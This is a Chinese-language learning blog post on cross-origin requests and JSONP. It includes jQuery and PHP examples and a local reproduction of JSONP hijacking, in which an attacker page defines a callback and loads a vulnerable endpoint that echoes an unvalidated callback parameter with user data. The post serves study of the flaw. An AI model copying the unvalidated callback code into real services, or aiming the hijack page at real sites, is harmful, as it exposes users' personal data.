零、前言

之前一直对跨域这个概念很模糊,现在打算来学习一番,增加自己的知识面,顺便结合JSONP劫持漏洞来梳理一下

参考文章:

JSONP劫持漏洞

什么是JSONP

ajax是什么

一、基本概念

什么是跨域请求?

在 HTML 中,<a>, <form>, <img>, <script>, <iframe>, <link> 等标签以及 Ajax 都可以指向一个资源地址,而所谓的跨域请求就是指:当前发起请求的域与该请求指向的资源所在的域不一样。我们认为若协议+域名+端口号是一样的就是同域。

既然要说到JSONP,那就顺便提一下JSON吧

JSON是一种轻量级的数据传输格式,被广泛应用于当前Web应用中。JSON格式数据的编码和解析基本在所有主流语言中都被实现,所以现在大部分前后端分离的架构都以JSON格式进行数据的传输。

那么什么是JSONP?

由于现代浏览器使用了同源策略,即不允许访问非同源的页面。在ajax中,不允许请求非同源的页面,即处于www.a.com的页面不允许访问www.b.com/a.php的页面,而JSONP就是为了解决跨域请求问题的。

二、JSONP原理

ajax请求受同源策略影响,不允许进行跨域请求,而script标签src属性中的链接却可以访问跨域的js脚本,例如<script src="www.b.com/a.php"></script>,利用这个特性,服务端不再返回JSON格式的数据,而是返回一段调用某个函数的js代码,在拼接的js代码中加上了被请求的数据,从而调用跨域服务器上动态生成的js代码,也达到了跨域请求的目的,获得自己想要的数据

获取远程数据的方式看起来非常像AJAX,但其实并不一样,ajax的核心是通过XmlHttpRequest获取非本页内容,而jsonp的核心则是动态添加<script>标签来调用服务器提供的js脚本。

为了便于客户端使用数据,逐渐形成了一种非正式传输协议,人们把它称作JSONP,该协议的一个要点就是允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。

下面的例子就是JSONP的调用方式,Jquery在处理Jsonp类型的Ajax时,会自动生成flightHandler回调函数,并取出数据供success属性方法来调用

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml" >
 <head>
     <title>Untitled Page</title>
      <script type="text/javascript" src=jquery.min.js"></script>
      <script type="text/javascript">
     jQuery(document).ready(function(){         $.ajax({
             type: "get",
             async: false,
             url: "http://flightQuery.com/jsonp/flightResult.aspx?code=CA1998",
             dataType: "jsonp",
             jsonp: "callback",//传递给请求处理程序或页面的,用以获得jsonp回调函数名的参数名(一般默认为:callback)
             jsonpCallback:"flightHandler",//自定义的jsonp回调函数名称,默认为jQuery自动生成的随机函数名,也可以写"?",jQuery会自动为你处理数据
             success: function(json){
                 alert('您查询到航班信息:票价: ' + json.price + ' 元,余票: ' + json.tickets + ' 张。');
             },
             error: function(){
                 alert('fail');
             }
         });
     });
     </script>
     </head>
  <body>
  </body>
 </html>

本质上,它的原理和下面的例子是一样的,与上面的例子不同的是,动态生成的js代码的位置不同了,下面的例子在同一个页面生成,上面的例子在跨域服务器上生成

 <script type="text/javascript">
    // 得到航班信息查询结果后的回调函数
    var flightHandler = function(data){
        alert('你查询的航班结果是:票价 ' + data.price + ' 元,' + '余票 ' + data.tickets + ' 张。');
    };
    // 提供jsonp服务的url地址(不管是什么类型的地址,最终生成的返回值都是一段javascript代码)
    var url = "http://flightQuery.com/jsonp/flightResult.aspx?code=CA1998&callback=flightHandler";
    // 创建script标签,设置其属性
    var script = document.createElement('script');
    script.setAttribute('src', url);
    // 把script标签加入head,此时调用开始
    document.getElementsByTagName('head')[0].appendChild(script); 
</script>

而跨域服务器返回的js代码长这样,和后端语言无关,本质上就是拼接字符串

<?php
$data = array(
	'price' => '20',
	'tickets' => '100',
);

$callback = $_GET['callback'];

echo $callback."(".json_encode($data).")";
return;
?>

三、JSONP劫持

成因

厂商没有对jsonp请求进行检验和过滤,导致任意域都能获取到数据,可能会泄露敏感信息

本地复现

为了更好的理解,还是上手操作一下吧

a.html

<!DOCTYPE html>
<html lang="zh">
	<head>
		<title>JSONP劫持</title>
	</head>
	
	<body>
		<h2>JSONP劫持</h2>
	
		<script>
			function 回调函数的名字(data){
				alert(JSON.stringify(data));
			}
		</script>
		<script src="存在漏洞的网页"></script>
	</body>
</html>

自己构造一个有漏洞的php页面(就用上面的例子好了233)

api.php

<?php
$data = array(
	'username' => 'xiaoming',
	'phone' => '123456',
);

$callback = $_GET['callback'];

echo $callback."(".json_encode($data).")";
return;
?>

而我们遇到的有漏洞的网页类似于http://xxxx.com/xxx/xxxx?callback=abcd

那么回调函数的名字就是abcd

<!DOCTYPE html>
<html lang="zh">
	<head>
		<title>JSONP劫持</title>
	</head>
	
	<body>
		<h2>JSONP劫持</h2>
	
		<script>
			function abcd(data){
				alert(JSON.stringify(data));
			}
		</script>
		<script src="http://xxxx.com/xxx/xxxx?callback=abcd"></script>
	</body>
</html>

api.php返回的js代码:

image-20221207145637611

JSONP劫持后,本地显示

image-20221207145707951